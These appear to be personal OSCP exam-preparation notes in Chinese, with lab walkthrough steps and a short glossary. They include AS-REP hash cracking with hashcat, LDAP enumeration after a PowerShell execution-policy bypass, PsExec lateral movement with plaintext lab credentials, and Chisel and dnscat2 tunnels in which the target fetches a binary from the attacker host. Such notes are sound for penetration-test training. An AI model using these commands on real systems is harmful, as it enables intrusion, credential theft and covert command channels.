接下來,讓我們複製AS-REP哈希並將其粘貼到名為hashes.asreproast2的文本文件中,該文件位於使用者kali的主目錄中。我們現在可以再次啟動Hashcat來破解AS-REP哈希。

kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

清單顯示Rubeus識別出dave易受AS-REP Roasting攻擊,並顯示AS-REP哈希。

image-1702381652792.png

 

【OSCP】Tools

【powershell】【自訂】ldap search

function1.ps1

function LDAPSearch {
    param (
        [string]$LDAPQuery
    )

    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
    $DistinguishedName = ([adsi]'').distinguishedName

    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")

    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)

    return $DirectorySearcher.FindAll()

}
PS C:\Users\stephanie> powershell -ep bypass
PS C:\Users\stephanie> Import-Module .\function.ps1
PS C:\Users\stephanie> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Service Personnel*))"
PS C:\Users\stephanie> $group.properties.member
CN=Billing,CN=Users,DC=corp,DC=com
PS C:\Users\stephanie> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Billing*))"
PS C:\Users\stephanie> $group.properties.member
CN=Customer support,CN=Users,DC=corp,DC=com
PS C:\Users\stephanie> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Customer support*))"
PS C:\Users\stephanie> $group.properties.member
CN=michelle,CN=Users,DC=corp,DC=com
PS C:\Users\stephanie> $answer = LDAPSearch -LDAPQuery "(cn=michelle)"
PS C:\Users\stephanie> $answer.properties

Name                           Value
----                           -----
logoncount                     {0}
codepage                       {0}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com}
description                    {OS{xxxxx}}
usnchanged                     {536764}
instancetype                   {4}
name                           {michelle}
badpasswordtime                {0}
【OSCP】Tools

【powershell】【橫移】PsExec

 

# 使用帳密連線至另一主機
.\PsExec64.exe -i  \\WEB04 -u corp\jen -p Nexus123! cmd
【OSCP】Tools

【Tunneling】Chisel

# kali下載
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
gunzip chisel_1.8.1_linux_amd64.gz
mv chisel_1.8.1_linux_amd64 chisel
chmod +x ./chisel
# 或是用apt安裝
apt install chisel -y
# 執行 chisel
./chisel server --port 8080 --reverse


# user server 從kali(192.168.45.224)下載
wget http://192.168.45.224/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# 執行 chisel client
/tmp/chisel client 192.168.45.224:8080 R:socks

# 安裝ncat
atp install ncat

# 使用ProxyCommand 執行 ncat
# %h 和 %p 令牌代表 SSH 命令的主機和port
ssh -o ProxyCommand='ncat --proxy-type socks5 \
--proxy 127.0.0.1:1080 %h %p' database_admin@10.4.194.215

image-1708742124011.png

【OSCP】Tools

【Tunneling】dnscat2

 

安裝

# server
sudo apt install dnscat2
# client
sudo apt install dnscat2-client

使用

server - start

# dnscat2-server {domain}
kali@server:~$ dnscat2-server feline.corp
[sudo] password for kali: 7he_C4t_c0ntro11er

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = feline.corp]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=d31d6a9e9d5895f42b823043a70fe3d4 feline.corp

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=d31d6a9e9d5895f42b823043a70fe3d4

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2>

client - connect

# dnscat {domain}
database_admin@client:~/dnscat$ ./dnscat feline.corp
./dnscat feline.corp
Creating DNS driver:
 domain = feline.corp
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 127.0.0.53

Encrypted session established! For added security, please verify the server also displays this string:

Gone Nodule Spring Gifts Stirs Foams 

Session established!

server - get connect and linsten

# windows 列出window
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = feline.corp [*]
  1 :: command (pgdatabase01) [encrypted, NOT verified] [*]
# -i 1 建立第一個介面
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Gone Nodule Spring Gifts Stirs Foams
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

# 建立本地 4455 轉發 172.16.201.217:4646
command (pgdatabase01) 1> listen 0.0.0.0:4455 172.16.201.217:4646
Listening on 0.0.0.0:4455, sending connections to 172.16.201.217:4646

 

【OSCP】Tools

【Windows】【弱掃】Seatbelt

Seatbelt 是一個 C# 項目,從進攻性和防禦性安全角度執行許多面向安全的主機調查「安全檢查」。

# 下載
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Seatbelt.exe
# 用法
https://github.com/GhostPack/Seatbelt#command-line-usage
【OSCP】Tools

【PortScan】Masscan

Masscan是網路大規模的連接埠掃描儀。它可以在5分鐘內掃描整個互聯網,每秒從一台機器上傳輸1000萬個資料包(和掃描者的頻寬有關,掃描速率高容易誤報)

https://github.com/robertdavidgraham/masscan

$ sudo ./masscan MACHINE_IP/24 -p443
$ sudo ./masscan MACHINE_IP/24 -p80,443
$ sudo ./masscan MACHINE_IP/24 -p22-25
$ sudo ./masscan MACHINE_IP/24 ‐‐top-ports 100

$ sudo ./masscan -p80,443,8000-9000 182.92.106.58
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-28 06:16:32 GMT 
Initiating SYN Stealth Scan 
Scanning 1 hosts [1003 ports/host] 
Discovered open port 8894/tcp on 182.92.106.58 
Discovered open port 80/tcp on 182.92.106.58 
Discovered open port 8896/tcp on 182.92.106.58 

還是同樣偵測80,443,8000至9000之間的連接埠開放情況,新增參數rate(速度/速率)設定時要考慮自己的頻寬,不是越高越好,太高會出現漏報,頻寬和速率設定參考

rate=1000000 (1M) 
rate=100000 (100K) 
rate=50000 (50K) 
$ sudo ./masscan -p80,443,8000-9000 182.92.106.58 --rate=10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-28 07:00:01 GMT 
Initiating SYN Stealth Scan 
Scanning 1 hosts [1003 ports/host] 
Discovered open port 80/tcp on 182.92.106.58 
Discovered open port 8894/tcp on 182.92.106.58 
Discovered open port 8896/tcp on 182.92.106.58 

名詞解釋

名詞解釋

Exploit

Exploit

"Exploit" 是指一種利用軟件、硬體或協議中的漏洞或弱點,以實現攻擊者目標的程式碼或技術。Exploit 的目的是利用系統或應用程式中的漏洞,使攻擊者能夠繞過正常的安全措施,取得未授權的訪問權限或進行其他不當的操作。Exploits 可能針對操作系統、應用程式、網絡協議、服務或其他計算機系統組件中的安全漏洞。

Exploit 的類型和使用方式多種多樣,以下是一些常見的 Exploit 類型:

1. 緩衝區溢出(Buffer Overflow): 通常發生在應用程式中,攻擊者通過向應用程式的緩衝區寫入超過其預期大小的數據,從而修改相鄰內存的內容,並可能執行任意的程式碼。

2. SQL 注入(SQL Injection):针对應用程式中對資料庫的 SQL 查詢,攻擊者在用戶輸入中插入惡意的 SQL 代碼,以獲得未授權的資料或執行未授權的操作。

3. 漏洞利用:利用已知的漏洞或安全弱點,攻擊者使用相應的 Exploit 來入侵系統,例如操作系統漏洞、應用程式漏洞或服務漏洞。

4. 零日漏洞利用(Zero-Day Exploits): 利用廠商還未知曉或尚未修復的漏洞。由於這些漏洞還未公開,因此防禦措施通常還未能應對。

5. 社交工程攻擊: 通過利用用戶的社交行為,欺騙他們進行某種操作,如點擊惡意連結或下載惡意附件。

6. 漏洞掃描和利用工具: 使用特殊工具,如Metasploit,可自動掃描和利用系統中的漏洞。

Exploits 是黑客和安全專業人員之間的一場競賽,防守方通常會定期更新和修補系統,以防止已知漏洞被利用。同時,實行最佳安全實踐,如限制用戶權限、加密敏感數據等,也是降低系統被 Exploit 的風險的重要手段。


 

名詞解釋

CVE

CVE(Common Vulnerabilities and Exposures)是一個用於標識和跟蹤計算機安全漏洞的字母縮寫。CVE的目的是提供一個標準的標識系統,以便組織和個人能夠共享和檢索有關特定漏洞的信息。

每個CVE條目都由一個唯一的標識號(通常是"CVE-"後接一個年份和一個唯一的數字,例如"CVE-2022-1234")來標示。這個標識號的格式確保了每個CVE都具有唯一性。

CVE的運作過程包括:

1. **發現漏洞:** 安全研究人員、廠商或組織發現並報告了一個新的安全漏洞。

2. **分配CVE編號:** 一個CVE編號被分配給該漏洞,這使得人們能夠唯一地標識和參考該漏洞。

3. **公開揭示:** CVE條目被公開發佈,通常與漏洞的相關信息一起,以便供給安全專業人員、廠商和組織參考。

4. **跟蹤漏洞:** 安全社群和相關方在CVE條目中跟蹤漏洞的狀態、修復情況和相關的安全建議。

5. **統一參考資料庫:** CVE被組織在一個統一的參考資料庫中,以便追蹤和查詢各種計算機安全漏洞。

CVE的使用有助於改進信息安全,提高對安全漏洞的警覺性,並促進合作和信息共享,以應對潛在的安全威脅。安全專業人員和組織通常會參考CVE條目,以確保他們的系統和應用程式不受已知漏洞的影響。

名詞解釋

Service Principal Names (SPNs)

Service Principal Names (SPNs) 是 Microsoft Active Directory 中用於識別特定服務實體(通常是應用程式或服務)的唯一名稱。SPNs是用來建立和管理Kerberos驗證的一種機制。當用戶或應用程式需要與某個服務進行安全通信時,它們使用SPNs來定位和識別該服務。

以下是一些關於SPNs的重要概念和使用方式:

1. **唯一識別服務實體:** SPN是用來唯一識別特定的服務實體的名稱。它通常針對一個特定的應用程式或服務而存在,確保在Active Directory中是唯一的。

2. **Kerberos驗證:** SPNs主要用於支援Kerberos驗證協定。當用戶或應用程式需要訪問某個服務時,它們會使用SPN進行身份驗證,以獲得安全的票據(Ticket-Granting Ticket,TGT)。

3. **格式:** 一個SPN的格式通常是 `serviceclass/host:port/service-name`,其中 `serviceclass` 是服務的類別(例如,HTTP、SQL、MSSQL),`host:port` 是主機名稱和端口,`service-name` 是服務的名稱。例如,HTTP服務的SPN可能是 `HTTP/server.example.com`。

4. **設定和創建:** SPNs通常由系統管理員在Active Directory中設定或創建。這可以在服務帳戶上完成,該帳戶用於執行相應的應用程式或服務。

5. **Delegation:** SPNs也與委派(Delegation)有關。委派允許服務帳戶代表用戶向其他服務發出請求。SPNs在進行委派時起到關鍵的角色。

使用SPNs的主要優勢是提供了一種標準的方式,讓用戶和應用程式通過Kerberos進行安全身份驗證。這有助於提高系統的安全性,同時還簡化了管理和維護的工作。

名詞解釋

APT (Advanced Persistent Threat)

APT(高级持久性威胁,Advanced Persistent Threat)是指一種高度專業化、有組織結構且持續性的攻擊,通常由國家級的駭客組織、間諜機構或犯罪團體發起。APT攻擊的目標通常是政府機構、軍事機構、大型企業、關鍵基礎設施或其他具有戰略價值的目標。

以下是APT攻擊的一些特點:

1. **高度專業化:** APT攻擊者通常具有高度專業化的技能,能夠使用先進的攻擊工具和技術。他們可能有深入的安全知識,並且能夠使用自定義的惡意軟件。

2. **有組織結構:** APT攻擊通常是有組織結構的,攻擊者之間分工合作,利用不同的技能和專業領域。這可能包括駭客、情報分析師、惡意軟件開發者等。

3. **持久性:** APT攻擊往往是長期的,攻擊者通常會努力保持對受害者系統的持久訪問權。他們可能會悄悄地滲透受害者網絡,長時間觀察和收集數據,而不被發現。

4. **隱匿性:** APT攻擊者通常會使用高度隱匿的技術,以避免被檢測和追踪。這可能包括使用加密通信、定期更改攻擊方法,以及避免觸發安全防禦機制。

5. **有組織目標:** APT攻擊的目標通常是對某個組織的信息、知識產權、商業機密或政府機密進行竊取。攻擊者可能追求長期的情報收集,以支援政治、經濟或軍事目的。

6. **社會工程:** APT攻擊者可能使用社會工程技巧,針對特定目標進行精心策劃的釣魚攻擊,以引誘受害者執行惡意操作。

防禦APT攻擊需要綜合的安全措施,包括強化網絡防禦、實施嚴格的身份驗證和授權措施、定期的安全審查、執行行為分析等。企業和組織也應該保持高度警覺,及時發現並應對潛在的APT攻擊。

OSCP Exam Guide

https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide

截圖規範:

  1. log
  2. ip
  3. user

image-1699030128915. reterved..png

考試時間 23:45
考試合理時間 6-8 小時
考試全監考(錄影畫面+鏡頭)
建議邊考邊寫報告

常用連結

https://dnsdumpster.com/

https://github.com/danielmiessler/SecLists

https://github.com/RustScan/RustScan

https://github.com/Tib3rius/AutoRecon

 

一文教你学会黑客必备安全工具,轻松入门

https://zhuanlan.zhihu.com/p/401413938

9 個常見的 Nmap 通訊埠掃描情境

https://hack543.com/nmap-tutorial/

我們與 OSCP 的距離

https://tech-blog.cymetrics.io/posts/crystal/oscp-review/

 

【Mac】未安裝工具

 

brew install openssl
brew install rustscan
brew install burp-suite
brew install owasp-zap
brew install ghidra
brew install wireshark

https://medium.com/@seitzmanuel/how-to-get-your-mac-osx-ready-for-playing-ctfs-hacking-6b6801250d1e